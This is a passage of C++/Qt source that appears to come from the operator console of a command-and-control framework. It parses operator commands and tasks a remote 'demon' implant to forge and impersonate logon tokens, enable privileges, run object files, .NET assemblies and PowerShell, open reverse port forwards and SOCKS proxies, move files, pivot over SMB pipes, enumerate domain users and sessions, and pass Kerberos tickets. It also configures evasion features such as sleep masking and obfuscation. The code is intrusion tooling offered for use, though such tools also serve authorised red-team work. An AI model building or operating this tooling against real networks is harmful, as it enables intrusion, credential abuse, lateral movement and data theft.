InputCommands.size() > 6 )\n                {\n                    CONSOLE_ERROR( \"Too many arguments\" )\n                    return false;\n                }\n\n                // token make Domain\\user password\n                auto Domain    = QString();\n                auto User      = QString();\n                auto Password  = QString();\n                auto LogonType = QString();\n\n                // token make domain user password\n                Domain   = InputCommands[ 2 ];\n                User     = InputCommands[ 3 ];\n                Password = InputCommands[ 4 ];\n\n                if ( InputCommands.size() == 6 )\n                {\n                    if ( InputCommands[ 5 ].compare( \"LOGON_INTERACTIVE\" ) == 0 )\n                        LogonType = \"2\";\n                    else if ( InputCommands[ 5 ].compare( \"LOGON_NETWORK\" ) == 0 )\n                        LogonType = \"3\";\n                    else if ( InputCommands[ 5 ].compare( \"LOGON_BATCH\" ) == 0 )\n                        LogonType = \"4\";\n                    else if ( InputCommands[ 5 ].compare( \"LOGON_SERVICE\" ) == 0 )\n                        LogonType = \"5\";\n                    else if ( InputCommands[ 5 ].compare( \"LOGON_UNLOCK\" ) == 0 )\n                        LogonType = \"7\";\n                    else if ( InputCommands[ 5 ].compare( \"LOGON_NETWORK_CLEARTEXT\" ) == 0 )\n                        LogonType = \"8\";\n                    else if ( InputCommands[ 5 ].compare( \"LOGON_NEW_CREDENTIALS\" ) == 0 )\n                        LogonType = \"9\";\n                    else\n                    {\n                        CONSOLE_ERROR( \"Invalid token type\" )\n                        return false;\n                    }\n                }\n                else\n                {\n                    // default: LOGON_NEW_CREDENTIALS\n                    LogonType = \"9\";\n                }\n\n                TaskID = CONSOLE_INFO( \"Tasked demon to make a new network token for \" + Domain + \"\\\\\" + User );\n                CommandInputList[ TaskID ] = commandline;\n\n                SEND( Execute.Token( TaskID, \"make\", Domain.toLocal8Bit().toBase64() + \";\" + User.toLocal8Bit().toBase64() + \";\" + Password.toLocal8Bit().toBase64() + \";\" + LogonType ) );\n            }\n            else if ( InputCommands[ 1 ].compare( \"revert\" ) == 0 )\n            {\n                TaskID = CONSOLE_INFO( \"Tasked demon to revert the process token\" );\n                CommandInputList[ TaskID ] = commandline;\n\n                SEND( Execute.Token( TaskID, \"revert\", \"\" ) );\n            }\n            else if ( InputCommands[ 1 ].compare( \"remove\" ) == 0 )\n            {\n                if ( InputCommands.size() < 3 )\n                {\n                    CONSOLE_ERROR( \"Not enough arguments\" )\n                    return false;\n                }\n\n                auto TargetProcessID = InputCommands[ 2 ];\n\n                TaskID                     = CONSOLE_INFO( \"Tasked demon to remove a token from the token vault\" );\n                CommandInputList[ TaskID ] = commandline;\n\n                SEND( Execute.Token( TaskID, \"remove\", TargetProcessID ) );\n            }\n            else if ( InputCommands[ 1 ].compare( \"clear\" ) == 0 )\n            {\n                TaskID                     = CONSOLE_INFO( \"Tasked demon to clear token vault\" );\n                CommandInputList[ TaskID ] = commandline;\n\n                SEND( Execute.Token( TaskID, \"clear\", \"\" ) )\n            }\n            else if ( InputCommands[ 1 ].compare( \"getuid\" ) == 0 )\n            {\n                TaskID                     = CONSOLE_INFO( \"Tasked demon to get current user id\" );\n                CommandInputList[ TaskID ] = commandline;\n\n                SEND( Execute.Token( TaskID, \"getuid\", \"\" ) )\n            }\n            else if ( InputCommands[ 1 ].compare( \"privs-list\" ) == 0 )\n            {\n                TaskID                     = DemonConsole->TaskInfo( Send, nullptr, \"Tasked demon to list current token privileges\" );\n                CommandInputList[ TaskID ] = commandline;\n                SEND( Execute.Token( TaskID, \"privs-list\", \"\" ) );\n            }\n            else if ( InputCommands[ 1 ].compare( \"privs-get\" ) == 0 )\n            {\n                if ( InputCommands.size() < 3 )\n                {\n                    CONSOLE_ERROR( \"Not enough arguments\" )\n                    return false;\n                }\n\n                if ( InputCommands.size() > 4 )\n                {\n                    CONSOLE_ERROR( \"Too many arguments\" )\n                    return false;\n                }\n\n                TaskID                     = DemonConsole->TaskInfo( Send, nullptr, \"Tasked demon to enable a privilege: \" + InputCommands[ 2 ] );\n                CommandInputList[ TaskID ] = commandline;\n                SEND( Execute.Token( TaskID, \"privs-get\", InputCommands[ 2 ] ) );\n            }\n            else\n            {\n                CONSOLE_ERROR( \"Module command not found\" )\n                return false;\n            }\n        }\n        else if ( InputCommands[ 0 ].compare( \"inline-execute\" ) == 0 )\n        {\n            if ( InputCommands.length() < 2 )\n            {\n                CONSOLE_ERROR( \"Not enough arguments\" )\n                return false;\n            }\n\n            auto Path = InputCommands[ 1 ];\n            auto Args = QByteArray();\n\n            if ( InputCommands.size() > 3 )\n            {\n                // NOTE: the 'dotnet inline-execute assembly.exe (args)' command does not need to escape quotes\n                Args = JoinAtIndex( commandline.split( \" \" ), 3 ).toUtf8();\n            }\n\n            if ( ! QFile::exists( Path ) )\n            {\n                CONSOLE_ERROR( \"Specified object file not found: \" + Path )\n                return false;\n            }\n\n            TaskID                     = CONSOLE_INFO( \"Tasked demon to execute an object file: \" + Path );\n            CommandInputList[ TaskID ] = commandline;\n\n            SEND( Execute.InlineExecute( TaskID, \"go\", Path, Args, \"default\" ); )\n        }\n        else if ( InputCommands[ 0 ].compare( \"dotnet\" ) == 0 )\n        {\n            if ( InputCommands.size() == 1 )\n            {\n                CONSOLE_ERROR( \"Not enough arguments\" );\n                return false;\n            }\n            else if ( InputCommands[ 1 ].compare( \"inline-execute\" ) == 0 )\n            {\n                if ( InputCommands.size() < 3 )\n                {\n                    CONSOLE_ERROR( \"Not enough arguments\" );\n                    return false;\n                }\n\n                auto File = InputCommands[ 2 ];\n                auto Args = QString();\n\n                // dotnet inline-execute assembly.exe (args)\n                if ( InputCommands.size() > 3 )\n                {\n                    InputCommands[ 0 ] = \"\";\n                    InputCommands[ 1 ] = \"\";\n                    InputCommands[ 2 ] = \"\";\n\n                    Args = InputCommands.join( \" \" );\n                }\n\n                if ( ! QFile::exists( File ) )\n                {\n                    CONSOLE_ERROR( \"Couldn't find assembly file: \" + File );\n                    return false;\n                }\n\n                TaskID = DemonConsole->TaskInfo(Send, nullptr, \"Tasked demon to inline execute a dotnet assembly: \" + File);\n                CommandInputList[TaskID] = commandline;\n\n                if (Send) Execute.AssemblyInlineExecute(TaskID, File, Args);\n\n            }\n            else if ( InputCommands[ 1 ].compare( \"list-versions\" ) == 0 )\n            {\n                TaskID = DemonConsole->TaskInfo( Send, nullptr, \"Tasked demon to list available dotnet versions\" );\n                CommandInputList[TaskID] = commandline;\n\n                SEND( Execute.AssemblyListVersions( TaskID ) )\n            }\n            else\n            {\n                goto CheckRegisteredCommands;\n            }\n        }\n        else if ( InputCommands[ 0 ].compare( \"rportfwd\" ) == 0 )\n        {\n            if ( InputCommands.size() <= 1 )\n            {\n                CONSOLE_ERROR( \"Not enough arguments for \\\"rportfwd\\\"\" )\n                return false;\n            }\n\n            if ( InputCommands[ 1 ].compare( \"add\" ) == 0 )\n            {\n                auto LclAddr = QString();\n                auto LclPort = QString();\n                auto FwdAddr = QString();\n                auto FwdPort = QString();\n\n                if ( InputCommands.size() < 6 )\n                {\n                    CONSOLE_ERROR( \"Not enough arguments for \\\"rportfwd add\\\"\" )\n                    return false;\n                }\n\n                LclAddr = InputCommands[ 2 ];\n                LclPort = InputCommands[ 3 ];\n                FwdAddr = InputCommands[ 4 ];\n                FwdPort = InputCommands[ 5 ];\n\n                TaskID                     = CONSOLE_INFO( \"Tasked demon to start a reverse port forward \" + LclAddr + \":\" + LclPort + \" to \" + FwdAddr + \":\" + FwdPort )\n                CommandInputList[ TaskID ] = commandline;\n\n                SEND( Execute.Socket( TaskID, \"rportfwd add\", LclAddr + \";\" + LclPort + \";\" + FwdAddr + \";\" + FwdPort ) )\n            }\n            else if ( InputCommands[ 1 ].compare( \"list\" ) == 0 )\n            {\n                TaskID                     = CONSOLE_INFO( \"Tasked demon to list all reverse port forwards\" )\n                CommandInputList[ TaskID ] = commandline;\n\n                SEND( Execute.Socket( TaskID, \"rportfwd list\", \"\" ) )\n            }\n            else if ( InputCommands[ 1 ].compare( \"remove\" ) == 0 )\n            {\n                if ( InputCommands.size() < 3 )\n                {\n                    CONSOLE_ERROR( \"Not enough arguments for \\\"rportfwd remove\\\"\" )\n                    return false;\n                }\n\n                TaskID                     = CONSOLE_INFO( \"Tasked demon to close and remove a reverse port forward \" + InputCommands[ 2 ] )\n                CommandInputList[ TaskID ] = commandline;\n\n                SEND( Execute.Socket( TaskID, \"rportfwd remove\", InputCommands[ 2 ] ) )\n            }\n            else if ( InputCommands[ 1 ].compare( \"clear\" ) == 0 )\n            {\n                TaskID                     = CONSOLE_INFO( \"Tasked demon to close and clear all reverse port forwards\" )\n                CommandInputList[ TaskID ] = commandline;\n\n                SEND( Execute.Socket( TaskID, \"rportfwd clear\", \"\" ) )\n            }\n\n        }\n        else if ( InputCommands[ 0 ].compare( \"socks\" ) == 0 )\n        {\n            if ( InputCommands.size() <= 1 )\n            {\n                CONSOLE_ERROR( \"Not enough arguments for \\\"socks\\\"\" )\n                return false;\n            }\n\n            if ( InputCommands[ 1 ].compare( \"add\" ) == 0 )\n            {\n                auto Port = QString();\n\n                if ( InputCommands.size() < 3 )\n                {\n                    CONSOLE_ERROR( \"Not enough arguments for \\\"socks add\\\"\" )\n                    return false;\n                }\n\n                Port   = InputCommands[ 2 ];\n                TaskID = Util::gen_random( 8 ).c_str();\n\n                CommandInputList[ TaskID ] = commandline;\n\n                SEND( Execute.Socket( TaskID, \"socks add\", Port ) )\n            }\n            else if ( InputCommands[ 1 ].compare( \"list\" ) == 0 )\n            {\n                TaskID = Util::gen_random( 8 ).c_str();\n                CommandInputList[ TaskID ] = commandline;\n\n                SEND( Execute.Socket( TaskID, \"socks list\", \"\" ) )\n            }\n            else if ( InputCommands[ 1 ].compare( \"kill\" ) == 0 )\n            {\n                if ( InputCommands.size() < 3 )\n                {\n                    CONSOLE_ERROR( \"Not enough arguments for \\\"socks kill\\\"\" )\n                    return false;\n                }\n\n                TaskID                     = Util::gen_random( 8 ).c_str();\n                CommandInputList[ TaskID ] = commandline;\n\n                SEND( Execute.Socket( TaskID, \"socks kill\", InputCommands[ 2 ] ) )\n            }\n            else if ( InputCommands[ 1 ].compare( \"clear\" ) == 0 )\n            {\n                TaskID                     = Util::gen_random( 8 ).c_str();\n                CommandInputList[ TaskID ] = commandline;\n\n                SEND( Execute.Socket( TaskID, \"socks clear\", \"\" ) )\n            }\n\n        }\n        else if ( InputCommands[ 0 ].compare( \"transfer\" ) == 0 )\n        {\n            if ( InputCommands.size() == 1 )\n            {\n                CONSOLE_ERROR( \"Not enough arguments for \\\"transfer\\\"\" )\n                return false;\n            }\n\n            if ( InputCommands[ 1 ].compare( \"list\" ) == 0 )\n            {\n                TaskID                     = CONSOLE_INFO( \"Tasked demon to list current downloads\" )\n                CommandInputList[ TaskID ] = commandline;\n\n                SEND( Execute.Transfer( TaskID, \"list\", \"\" ) )\n            }\n            else if ( InputCommands[ 1 ].compare( \"stop\" ) == 0 )\n            {\n                if ( InputCommands.size() <= 2 )\n                {\n                    CONSOLE_ERROR( \"Not enough arguments\" )\n                    return false;\n                }\n\n                TaskID                     = CONSOLE_INFO( \"Tasked demon to stop a download\" )\n                CommandInputList[ TaskID ] = commandline;\n\n                SEND( Execute.Transfer( TaskID, \"stop\", InputCommands[ 2 ] ) )\n            }\n            else if ( InputCommands[ 1 ].compare( \"resume\" ) == 0 )\n            {\n                if ( InputCommands.size() <= 2 )\n                {\n                    CONSOLE_ERROR( \"Not enough arguments\" )\n                    return false;\n                }\n\n                TaskID                     = CONSOLE_INFO( \"Tasked demon to resume a download\" )\n                CommandInputList[ TaskID ] = commandline;\n\n                SEND( Execute.Transfer( TaskID, \"resume\", InputCommands[ 2 ] ) )\n            }\n            else if ( InputCommands[ 1 ].compare( \"remove\" ) == 0 )\n            {\n                if ( InputCommands.size() <= 2 )\n                {\n                    CONSOLE_ERROR( \"Not enough arguments\" )\n                    return false;\n                }\n\n                TaskID                     = CONSOLE_INFO( \"Tasked demon to stop and remove a download\" )\n                CommandInputList[ TaskID ] = commandline;\n\n                SEND( Execute.Transfer( TaskID, \"remove\", InputCommands[ 2 ] ) )\n            }\n        }\n        else if ( InputCommands[ 0 ].compare( \"download\" ) == 0 )\n        {\n            if ( InputCommands.size() >= 2 )\n            {\n                auto FilePath = JoinAtIndex( InputCommands, 1 );\n\n                TaskID                     = CONSOLE_INFO( \"Tasked demon to download a file \" + FilePath );\n                CommandInputList[ TaskID ] = commandline;\n\n                SEND( Execute.FS( TaskID, \"download\", FilePath.toLocal8Bit().toBase64() ) )\n            }\n            else\n            {\n                CONSOLE_ERROR( \"Not enough arguments\" )\n                return false;\n            }\n        }\n        else if ( InputCommands[ 0 ].compare( \"cat\" ) == 0 || InputCommands[ 0 ].compare( \"type\" ) == 0 )\n        {\n            if ( InputCommands.size() >= 2 )\n            {\n                auto FilePath = JoinAtIndex( InputCommands, 1 );\n\n                TaskID                     = CONSOLE_INFO( \"Tasked demon to display content of \" + FilePath );\n                CommandInputList[ TaskID ] = commandline;\n\n                SEND( Execute.FS( TaskID, \"cat\", FilePath.toLocal8Bit().toBase64() ) )\n            }\n            else\n            {\n                CONSOLE_ERROR( \"Not enough arguments\" )\n                return false;\n            }\n        }\n        else if ( InputCommands[ 0 ].compare( \"upload\" ) == 0 )\n        {\n            if ( InputCommands.size() >= 2 )\n            {\n                auto FilePath   = InputCommands[ 1 ];\n                auto Content    = FileRead( FilePath );\n                auto RemotePath = QString();\n\n                if ( Content == nullptr )\n                    return false;\n\n                auto FileName = FilePath.mid( FilePath.lastIndexOf(\"/\") + 1, FilePath.size() - FilePath.lastIndexOf(\"/\") - 1 );\n\n                // if no remote path was specified, upload the file with the same name to the current directory\n                if ( InputCommands.size() == 2 )\n                {\n                    RemotePath = FileName;\n                }\n                else\n                {\n                    RemotePath = JoinAtIndex( InputCommands, 2 );\n\n                    // if the remote path does not contain the filename, use the same as the local path\n                    if ( RemotePath.endsWith(\"\\\\\", Qt::CaseInsensitive) )\n                    {\n                        RemotePath = RemotePath + FileName;\n                    }\n                }\n\n                TaskID                     = CONSOLE_INFO( \"Tasked demon to upload a file \" + FilePath + \" to \" + RemotePath );\n                CommandInputList[ TaskID ] = commandline;\n\n                SEND( Execute.FS( TaskID, \"upload\", RemotePath.toLocal8Bit().toBase64() + \";\" + Content.toBase64() ) )\n            }\n            else\n            {\n                CONSOLE_ERROR( \"Not enough arguments\" )\n                return false;\n            }\n\n        }\n        else if ( InputCommands[ 0 ].compare( \"powershell\" ) == 0 )\n        {\n            if ( InputCommands.length() > 1 )\n            {\n                auto Program = QString(\"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\");\n                // NOTE: the 'powershell' command does not need to escape quotes\n                auto Args    = QString( \"-C \" + JoinAtIndex( commandline.split( \" \" ), 1 ) ).toUtf8().toBase64();\n\n                TaskID = CONSOLE_INFO( \"Tasked demon to execute a powershell command/script\" );\n                CommandInputList[ TaskID ] = commandline;\n\n                SEND( Execute.ProcModule( TaskID, 4, \"0;FALSE;TRUE;\" + Program + \";\" + Args ) )\n            }\n            else\n            {\n                CONSOLE_ERROR( \"Not enough arguments\" )\n            }\n        }\n        else if ( InputCommands[ 0 ].compare( \"config\" ) == 0 )\n        {\n            if ( InputCommands.size() > 1 )\n            {\n                if ( InputCommands[ 1 ].compare( \"implant.sleep-mask\" ) == 0 )\n                {\n                    if ( InputCommands.size() < 3 ) {\n                        CONSOLE_ERROR( \"Not enough arguments\" ); return false;\n                    };\n                    if ( InputCommands[ 2 ].compare( \"true\" ) != 0 && InputCommands[ 2 ].compare( \"false\" ) != 0 )\n                    {\n                        CONSOLE_ERROR( \"Wrong arguments\" )\n                        return false;\n                    }\n                    TaskID = CONSOLE_INFO( \"Tasked demon to configure sleep-mask: \" + InputCommands[ 2 ] );\n                }\n                if ( InputCommands[ 1 ].compare( \"implant.coffee.veh\" ) == 0 )\n                {\n                    if ( InputCommands.size() < 3 ) {\n                        CONSOLE_ERROR( \"Not enough arguments\" ); return false;\n                    };\n                    if ( InputCommands[ 2 ].compare( \"true\" ) != 0 && InputCommands[ 2 ].compare( \"false\" ) != 0 )\n                    {\n                        CONSOLE_ERROR( \"Wrong arguments\" )\n                        return false;\n                    }\n                    TaskID = CONSOLE_INFO( \"Tasked demon to configure coffee VEH: \" + InputCommands[ 2 ] );\n                }\n                if ( InputCommands[ 1 ].compare( \"implant.coffee.threaded\" ) == 0 )\n                {\n                    if ( InputCommands.size() < 3 ) {\n                        CONSOLE_ERROR( \"Not enough arguments\" ); return false;\n                    };\n                    if ( InputCommands[ 2 ].compare( \"true\" ) != 0 && InputCommands[ 2 ].compare( \"false\" ) != 0 )\n                    {\n                        CONSOLE_ERROR( \"Wrong arguments\" )\n                        return false;\n                    }\n                    TaskID = CONSOLE_INFO( \"Tasked demon to configure coffee threading: \" + InputCommands[ 2 ] );\n                }\n                else if ( InputCommands[ 1 ].compare( \"implant.verbose\" ) == 0 )\n                {\n                    if ( InputCommands.size() < 3 ) {\n                        CONSOLE_ERROR( \"Not enough arguments\" ); return false;\n                    };\n                    if ( InputCommands[ 2 ].compare( \"true\" ) != 0 && InputCommands[ 2 ].compare( \"false\" ) != 0 )\n                    {\n                        CONSOLE_ERROR( \"Wrong arguments\" )\n                        return false;\n                    }\n                    TaskID = CONSOLE_INFO( \"Tasked demon to configure verbose messaging: \" + InputCommands[ 2 ] );\n                }\n                else if ( InputCommands[ 1 ].compare( \"implant.sleep-obf\" ) == 0 )\n                {\n                    if ( InputCommands.size() < 3 ) {\n                        CONSOLE_ERROR( \"Not enough arguments\" );\n                        return false;\n                    };\n                    if ( InputCommands[ 2 ].compare( \"true\" ) != 0 && InputCommands[ 2 ].compare( \"false\" ) != 0 )\n                    {\n                        CONSOLE_ERROR( \"Wrong arguments\" )\n                        return false;\n                    }\n                    TaskID = CONSOLE_INFO( \"Tasked demon to enable/disable sleep-obf: \" + InputCommands[ 2 ] );\n                }\n                else if ( InputCommands[ 1 ].compare( \"implant.sleep-obf.technique\" ) == 0 )\n                {\n                    CONSOLE_ERROR( \"Not implemented\" ); return false;\n                }\n                else if ( InputCommands[ 1 ].compare( \"implant.sleep-obf.start-addr\" ) == 0 )\n                {\n                    if ( InputCommands.size() < 3 ) {\n                        CONSOLE_ERROR( \"Not enough arguments\" );\n                        return false;\n                    };\n\n                    if ( ! is_number( InputCommands[ 2 ].toStdString() ) )\n                    {\n                        CONSOLE_ERROR( \"Wrong argument: Is not a number\" )\n                        return false;\n                    }\n\n                    TaskID = CONSOLE_INFO( \"Tasked demon to configure sleep-mask thread start addr: \" + InputCommands[ 2 ] );\n                }\n                else if ( InputCommands[ 1 ].compare( \"memory.alloc\" ) == 0 )\n                {\n                    if ( InputCommands.size() < 3 ) {\n                        CONSOLE_ERROR( \"Not enough arguments\" );\n                        return false;\n                    };\n\n                    if ( ! is_number( InputCommands[ 2 ].toStdString() ) )\n                    {\n                        CONSOLE_ERROR( \"Wrong argument: Is not a number\" )\n                        return false;\n                    }\n\n                    TaskID = CONSOLE_INFO( \"Tasked demon to configure memory allocation: \" + InputCommands[ 2 ] );\n                }\n                else if ( InputCommands[ 1 ].compare( \"memory.execute\" ) == 0 )\n                {\n                    if ( InputCommands.size() < 3 ) {\n                        CONSOLE_ERROR( \"Not enough arguments\" );\n                        return false;\n                    };\n\n                    if ( ! is_number( InputCommands[ 2 ].toStdString() ) )\n                    {\n                        CONSOLE_ERROR( \"Wrong argument: Is not a number\" )\n                        return false;\n                    }\n\n                    TaskID = CONSOLE_INFO( \"Tasked demon to configure memory execution: \" + InputCommands[ 2 ] );\n                }\n                    /* else if ( InputCommands[ 1 ].compare( \"inject.technique\" ) == 0 ) // TODO: figure out how to implement this right.\n                    {\n                        if ( InputCommands.size() < 3 ) {\n                            CONSOLE_ERROR( \"Not enough arguments\" );\n                            return false;\n                        };\n\n                        if ( ! is_number( InputCommands[ 2 ].toStdString() ) )\n                        {\n                            CONSOLE_ERROR( \"Wrong argument: Is not a number\" )\n                            return false;\n                        }\n\n                        TaskID = CONSOLE_INFO( \"Tasked demon to configure injection technique: \" + InputCommands[ 2 ] );\n                    } */\n                else if ( InputCommands[ 1 ].compare( \"inject.spoofaddr\" ) == 0 ) // TODO: finish this\n                {\n                    CONSOLE_ERROR( \"Not implemented\" ); return false;\n                }\n                else if ( InputCommands[ 1 ].compare( \"inject.spawn64\" ) == 0 )\n                {\n                    if ( InputCommands.size() < 3 ) {\n                        CONSOLE_ERROR( \"Not enough arguments\" );\n                        return false;\n                    };\n                    TaskID = CONSOLE_INFO( \"Tasked demon to configure default x64 target process: \" + InputCommands[ 2 ] );\n                }\n                else if ( InputCommands[ 1 ].compare( \"inject.spawn32\" ) == 0 )\n                {\n                    if ( InputCommands.size() < 3 ) {\n                        CONSOLE_ERROR( \"Not enough arguments\" );\n                        return false;\n                    };\n                    TaskID = CONSOLE_INFO( \"Tasked demon to configure default x86 target process: \" + InputCommands[ 2 ] );\n                }\n                else if ( InputCommands[ 1 ].compare( \"killdate\" ) == 0 )\n                {\n                    if ( InputCommands.size() < 3 ) {\n                        CONSOLE_ERROR( \"Not enough arguments\" );\n                        return false;\n                    };\n                    if ( InputCommands.size() > 4 ) {\n                        CONSOLE_ERROR( \"Too many arguments\" );\n                        return false;\n                    };\n                    if ( InputCommands.size() == 4 ) {\n                        InputCommands[ 2 ] = InputCommands[ 2 ] + \" \" + InputCommands[ 3 ];\n                    };\n                    if ( InputCommands.size() == 3 && InputCommands[ 2 ].compare( \"0\" ) != 0 )\n                    {\n                        CONSOLE_ERROR( \"Invalid arguments\" );\n                        return false;\n                    }\n                    TaskID = CONSOLE_INFO( \"Tasked demon to configure the KillDate: \" + InputCommands[ 2 ] );\n                }\n                else if ( InputCommands[ 1 ].compare( \"workinghours\" ) == 0 )\n                {\n                    if ( InputCommands.size() < 3 ) {\n                        CONSOLE_ERROR( \"Not enough arguments\" );\n                        return false;\n                    };\n                    if ( InputCommands.size() > 3 ) {\n                        CONSOLE_ERROR( \"Too many arguments\" );\n                        return false;\n                    };\n                    TaskID = CONSOLE_INFO( \"Tasked demon to configure the working hours: \" + InputCommands[ 2 ] );\n                }\n                else\n                {\n                    DemonConsole->Console->append( \"\" );\n                    DemonConsole->Console->append( Prompt );\n                    DemonConsole->TaskError( \"Config does not exist\" );\n                    return false;\n                }\n\n                CommandInputList[ TaskID ] = commandline;\n                SEND( Execute.Config( TaskID, InputCommands[ 1 ], InputCommands[ 2 ] ) );\n            }\n            else\n            {\n                DemonConsole->Console->append( \"\" );\n                DemonConsole->Console->append( Prompt );\n                DemonConsole->TaskError( \"Not enough arguments\" );\n            }\n        }\n        else if ( InputCommands[ 0 ].compare( \"screenshot\" ) == 0 )\n        {\n            TaskID                     = DemonConsole->TaskInfo( Send, nullptr, \"Tasked demon to take a screenshot\" );\n            CommandInputList[ TaskID ] = commandline;\n\n            SEND( Execute.Screenshot( TaskID ) )\n        }\n        else if ( InputCommands[ 0 ].compare( \"net\" ) == 0 )\n        {\n            if ( InputCommands.size() >= 2 )\n            {\n                auto Command = QString();\n                auto Param   = QString();\n\n                Param = \"\\\\\\\\localhost\";\n\n                if ( InputCommands[ 1 ].compare( \"domain\" ) == 0 )\n                {\n                    Command = \"1\";\n                    TaskID  = CONSOLE_INFO( \"Tasked demon to display domain for this host\" );\n                    Param   = \"\";\n                }\n                else if ( InputCommands[ 1 ].compare( \"logons\" ) == 0 )\n                {\n                    Command = \"2\";\n                    TaskID  = CONSOLE_INFO( \"Tasked demon to lists users logged onto a host\" );\n\n                    if ( InputCommands.size() > 2 )\n                        Param = InputCommands[ 2 ];\n                }\n                else if ( InputCommands[ 1 ].compare( \"sessions\" ) == 0 )\n                {\n                    Command = \"3\";\n                    TaskID  = CONSOLE_INFO( \"Tasked demon to lists sessions on a host\" );\n\n                    if ( InputCommands.size() > 2 )\n                        Param = InputCommands[ 2 ];\n                }\n                    /*else if ( InputCommands[ 1 ].compare( \"computers\" ) == 0 )\n                    {\n                        Command = \"4\";\n                        TaskID  = CONSOLE_INFO( \"Tasked demon to lists computer in a domain (groups)\" );\n\n                        if ( InputCommands.size() > 2 )\n                            Param = InputCommands[ 2 ];\n                    }\n                    else if ( InputCommands[ 1 ].compare( \"dclist\" ) == 0 )\n                    {\n                        Command = \"5\";\n                        TaskID  = CONSOLE_INFO( \"Tasked demon to lists domain controllers\" );\n\n                        if ( InputCommands.size() > 2 )\n                            Param = InputCommands[ 2 ];\n                    }*/\n                else if ( InputCommands[ 1 ].compare( \"share\" ) == 0 )\n                {\n                    Command = \"6\";\n                    TaskID  = CONSOLE_INFO( \"Tasked demon to lists shares on a host\" );\n\n                    if ( InputCommands.size() > 2 )\n                        Param = InputCommands[ 2 ];\n                }\n                else if ( InputCommands[ 1 ].compare( \"localgroup\" ) == 0 )\n                {\n                    Command = \"7\";\n                    TaskID  = CONSOLE_INFO( \"Tasked demon to lists local groups and users in local groups\" );\n\n                    if ( InputCommands.size() > 2 )\n                        Param = InputCommands[ 2 ];\n                }\n                else if ( InputCommands[ 1 ].compare( \"group\" ) == 0 )\n                {\n                    Command = \"8\";\n                    TaskID  = CONSOLE_INFO( \"Tasked demon to lists groups and users in groups\" );\n\n                    if ( InputCommands.size() >= 3 )\n                        Param = InputCommands[ 2 ];\n\n                }\n                else if ( InputCommands[ 1 ].compare( \"users\" ) == 0 )\n                {\n                    Command = \"9\";\n                    TaskID  = CONSOLE_INFO( \"Tasked demon to lists users and user information\" );\n\n                    if ( InputCommands.size() >= 3 )\n                        Param = InputCommands[ 2 ];\n                }\n                else\n                {\n                    CONSOLE_ERROR( \"Command not found: \" + InputCommands.join( ' ' ) )\n                    return false;\n                }\n\n                CommandInputList[ TaskID ] = commandline;\n                SEND( Execute.Net( TaskID, Command, Param ) )\n\n            }\n            else\n            {\n                CONSOLE_ERROR( \"No sub command specified\" )\n            }\n        }\n        else if ( InputCommands[ 0 ].compare( \"pivot\" ) == 0 )\n        {\n            if ( InputCommands.size() > 1 )\n            {\n                auto Command = QString();\n                auto Param   = QString();\n\n                if ( InputCommands[ 1 ].compare( \"list\" ) == 0 )\n                {\n                    TaskID  = CONSOLE_INFO( \"Tasked demon to list connected agent pivots\" );\n                    Command = \"1\";\n                }\n                else if ( InputCommands[ 1 ].compare( \"connect\" ) == 0 )\n                {\n                    // TODO: For now only Smb\n                    Command = \"10\";\n\n                    if ( InputCommands.size() >= 4 )\n                    {\n                        auto Host = InputCommands[ 2 ];\n                        auto Addr = InputCommands[ 3 ];\n\n                        Param = \"\\\\\\\\\" + Host + \"\\\\pipe\\\\\" + Addr;\n                        TaskID = CONSOLE_INFO( \"Tasked demon to connect to a smb pivot: \" + Param );\n                    }\n                    else\n                    {\n                        CONSOLE_ERROR( \"Not enough arguments\" )\n                        return false;\n                    }\n                }\n                else if ( InputCommands[ 1 ].compare( \"disconnect\" ) == 0 )\n                {\n                    if ( InputCommands.size() < 3 )\n                    {\n                        CONSOLE_ERROR( \"Not enough arguments\" )\n                        return false;\n                    }\n\n                    Command = \"11\";\n                    Param   = InputCommands[ 2 ];\n                    TaskID  = CONSOLE_INFO( \"Tasked demon to disconnect a smb pivot: \" + Param );\n                }\n                else\n                {\n                    CONSOLE_ERROR( \"Command not found: \" + InputCommands.join( ' ' ) )\n                    return false;\n                }\n\n                CommandInputList[ TaskID ] = commandline;\n                SEND( Execute.Pivot( TaskID, Command, Param ) )\n            }\n        }\n        else if ( InputCommands[ 0 ].compare( \"luid\" ) == 0 )\n        {\n            TaskID                     = CONSOLE_INFO( \"Tasked demon to get the current logon ID\" );\n            CommandInputList[ TaskID ] = commandline;\n\n            SEND( Execute.Luid( TaskID ) )\n        }\n        else if ( InputCommands[ 0 ].compare( \"klist\" ) == 0 )\n        {\n            auto Arg1 = QString();\n            auto Arg2 = QString();\n\n            if ( InputCommands.size() < 2 )\n            {\n                CONSOLE_ERROR( \"Not enough arguments\" )\n                return false;\n            }\n\n            if ( InputCommands.size() > 3 )\n            {\n                CONSOLE_ERROR( \"Too many arguments\" )\n                return false;\n            }\n\n            if ( InputCommands[ 1 ].compare( \"/all\" ) == 0 )\n            {\n                Arg1 = \"/all\";\n            }\n            else if ( InputCommands[ 1 ].compare( \"/luid\" ) == 0 )\n            {\n                if ( InputCommands.size() != 3 )\n                {\n                    CONSOLE_ERROR( \"Invalid parameter\" )\n                    return false;\n                }\n                Arg1 = \"/luid\";\n                Arg2 = InputCommands[ 2 ];\n            }\n            else\n            {\n                CONSOLE_ERROR( \"Invalid parameter\" )\n                return false;\n            }\n\n            TaskID                     = CONSOLE_INFO( \"Tasked demon to list Kerberos tickets\" );\n            CommandInputList[ TaskID ] = commandline;\n\n            SEND( Execute.Klist( TaskID, Arg1, Arg2 ) );\n        }\n        else if ( InputCommands[ 0 ].compare( \"purge\" ) == 0 )\n        {\n            auto Arg = QString();\n\n            if ( InputCommands.size() < 3 )\n            {\n                CONSOLE_ERROR( \"Not enough arguments\" )\n                return false;\n            }\n\n            if ( InputCommands.size() > 3 )\n            {\n                CONSOLE_ERROR( \"Too many arguments\" )\n                return false;\n            }\n\n            if ( InputCommands[ 1 ].compare( \"/luid\" ) == 0 )\n            {\n                Arg = InputCommands[ 2 ];\n            }\n            else\n            {\n                CONSOLE_ERROR( \"Invalid parameter\" )\n                return false;\n            }\n\n            TaskID                     = CONSOLE_INFO( \"Tasked demon to purge a Kerberos ticket\" );\n            CommandInputList[ TaskID ] = commandline;\n\n            SEND( Execute.Purge( TaskID, Arg ) );\n        }\n        else if ( InputCommands[ 0 ].compare( \"ptt\" ) == 0 )\n        {\n            auto Ticket = QString();\n            QString Luid = \"0\";\n\n            if ( InputCommands.size() < 2 )\n            {\n                CONSOLE_ERROR( \"Not enough arguments\" )\n                return false;\n            }\n\n            if ( InputCommands.size() > 4 )\n            {\n                